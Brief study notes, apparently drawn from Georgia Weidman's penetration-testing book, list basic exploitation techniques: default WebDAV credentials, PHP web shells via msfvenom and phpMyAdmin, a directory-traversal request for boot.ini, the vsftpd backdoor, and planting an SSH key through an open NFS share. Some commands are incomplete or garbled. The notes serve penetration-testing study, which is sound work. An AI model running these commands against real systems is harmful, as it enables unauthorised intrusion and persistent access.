Exploitation: Basics

Source: Georgia Weidman on “Advanced Penetration Test”

(1) Webdav Default Credentials
Default -> wampp:xampp

a. cadaver
b. Use Msfvenom to create a PHP shell and upload
c. Use msfconsole to exploit

(2) ​Open phpMyAdmin
a. Create a php shell on the Apache server using a SQL query
SELECT ““”””” into outfile “C:\\xampp\\htdocs\\shell.php”

b. Add a meterpreter PHP file get meterpreter.php C:\\xampp\\htdocs\\meterpreter.php

(3) Downloading Sensitive Files
Zervit 0.4 directory traversal
nc 3232 GET /../../../../../boot.ini HTTP/1.1

(4) Exploiting a Buffer Overflow
Buffer overflow in SLMail

(5) Exploiting a Web Application
Unsanitized parameter in graph_formula.php -> PHP code execution

(6) ​Piggybacking on a Compromised Service
VsFTP -> backdoored
Username ending in a 🙂 spawned a backdoor on port 6200

(7) Exploiting Open NFS Shares
NFS on port 2049
showmount –e
mkdir /tmp/r00t/
mount -t nfs –o nolock /tmp/r00t/
cat ~/.ssh/id_rsa.pub >> /tmp/r00t/.ssh/authorized_keys
umount /tmp/r00t/

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